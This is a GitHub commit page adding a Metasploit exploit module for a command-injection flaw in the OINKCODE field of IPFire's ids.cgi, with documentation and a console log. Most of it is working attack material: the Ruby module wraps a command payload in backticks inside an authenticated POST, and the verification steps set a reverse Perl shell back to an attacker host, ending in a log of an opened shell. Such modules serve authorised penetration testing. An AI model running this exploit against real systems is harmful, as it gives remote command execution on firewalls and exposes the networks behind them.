Skip to content

Commit ffad0d1

Browse files
committed
Land rapid7#8559, Ipfire oinkcode exec
2 parents 618d1b9 + 116a838 commit ffad0d1

File tree

2 files changed

+167
-0
lines changed

2 files changed

+167
-0
lines changed
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
## Vulnerable Application
2+
3+
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso)
4+
5+
This module has been verified against:
6+
7+
1. 2.19 core 100
8+
2. 2.19 core 110 (exploit-db, not metasploit module)
9+
10+
## Verification Steps
11+
12+
1. Install the firewall
13+
2. Start msfconsole
14+
3. Do: ```use exploit/linux/http/ipfire_oinkcode_exec```
15+
4. Do: ```set password admin``` or whatever it was set to at install
16+
5. Do: ```set rhost 10.10.10.10```
17+
6. Do: ```set payload cmd/unix/reverse_perl```
18+
7. Do: ```set lhost 192.168.2.229```
19+
8. Do: ```exploit```
20+
9. You should get a shell.
21+
22+
## Options
23+
24+
**PASSWORD**
25+
26+
Password is set at install. May be blank, 'admin', or 'ipfire'.
27+
28+
## Scenarios
29+
30+
```
31+
msf > use exploit/linux/http/ipfire_oinkcode_exec
32+
msf exploit(ipfire_oinkcode_exec) > set password admin
33+
password => admin
34+
msf exploit(ipfire_oinkcode_exec) > set rhost 192.168.2.201
35+
rhost => 192.168.2.201
36+
msf exploit(ipfire_oinkcode_exec) > set verbose true
37+
verbose => true
38+
msf exploit(ipfire_oinkcode_exec) > check
39+
[*] 192.168.2.201:444 The target appears to be vulnerable.
40+
msf exploit(ipfire_oinkcode_exec) > exploit
41+
42+
[*] Started reverse TCP handler on 192.168.2.117:4444
43+
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.201:38412) at 2017-06-14 21:12:21 -0400
44+
id
45+
uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
46+
whoami
47+
nobody
48+
```
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
Rank = ExcellentRanking
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'IPFire proxy.cgi RCE',
15+
'Description' => %q(
16+
IPFire, a free linux based open source firewall distribution,
17+
version < 2.19 Update Core 110 contains a remote command execution
18+
vulnerability in the ids.cgi page in the OINKCODE field.
19+
),
20+
'Author' =>
21+
[
22+
'h00die <[email protected]>', # module
23+
'0x09AL' # discovery
24+
],
25+
'References' =>
26+
[
27+
[ 'EDB', '42149' ]
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'unix',
31+
'Privileged' => false,
32+
'DefaultOptions' => { 'SSL' => true },
33+
'Arch' => [ ARCH_CMD ],
34+
'Payload' =>
35+
{
36+
'Compat' =>
37+
{
38+
'PayloadType' => 'cmd',
39+
'RequiredCmd' => 'perl awk openssl'
40+
}
41+
},
42+
'Targets' =>
43+
[
44+
[ 'Automatic Target', {}]
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Jun 09 2017'
48+
)
49+
)
50+
51+
register_options(
52+
[
53+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
54+
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
55+
Opt::RPORT(444)
56+
]
57+
)
58+
end
59+
60+
def check
61+
begin
62+
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
63+
# after a chat with @bcoles in IRC.
64+
res = send_request_cgi(
65+
'uri' => '/cgi-bin/pakfire.cgi',
66+
'method' => 'GET',
67+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
68+
)
69+
70+
if res && res.code == 200
71+
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
72+
end
73+
if version.nil? || update.nil? || !Gem::Version.correct?(version)
74+
vprint_error('No Recognizable Version Found')
75+
CheckCode::Safe
76+
elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
77+
CheckCode::Appears
78+
else
79+
vprint_error('Version and/or Update Not Supported')
80+
CheckCode::Safe
81+
end
82+
rescue ::Rex::ConnectionError
83+
print_error("Connection Failed")
84+
CheckCode::Safe
85+
end
86+
end
87+
88+
def exploit
89+
begin
90+
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
91+
# after a chat with @bcoles in IRC.
92+
vprint_status('Sending request')
93+
res = send_request_cgi(
94+
'uri' => '/cgi-bin/ids.cgi',
95+
'method' => 'POST',
96+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
97+
'headers' =>
98+
{
99+
'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
100+
},
101+
'vars_post' => {
102+
'ENABLE_SNORT_GREEN' => 'on',
103+
'ENABLE_SNORT' => 'on',
104+
'RULES' => 'registered',
105+
'OINKCODE' => "`#{payload.encoded}`",
106+
'ACTION' => 'Download new ruleset',
107+
'ACTION2' => 'snort'
108+
}
109+
)
110+
111+
# success means we hang our session, and wont get back a response, so just check we get a response back
112+
if res && res.code != 200
113+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
114+
end
115+
rescue ::Rex::ConnectionError
116+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
117+
end
118+
end
119+
end

0 commit comments

Comments
 (0)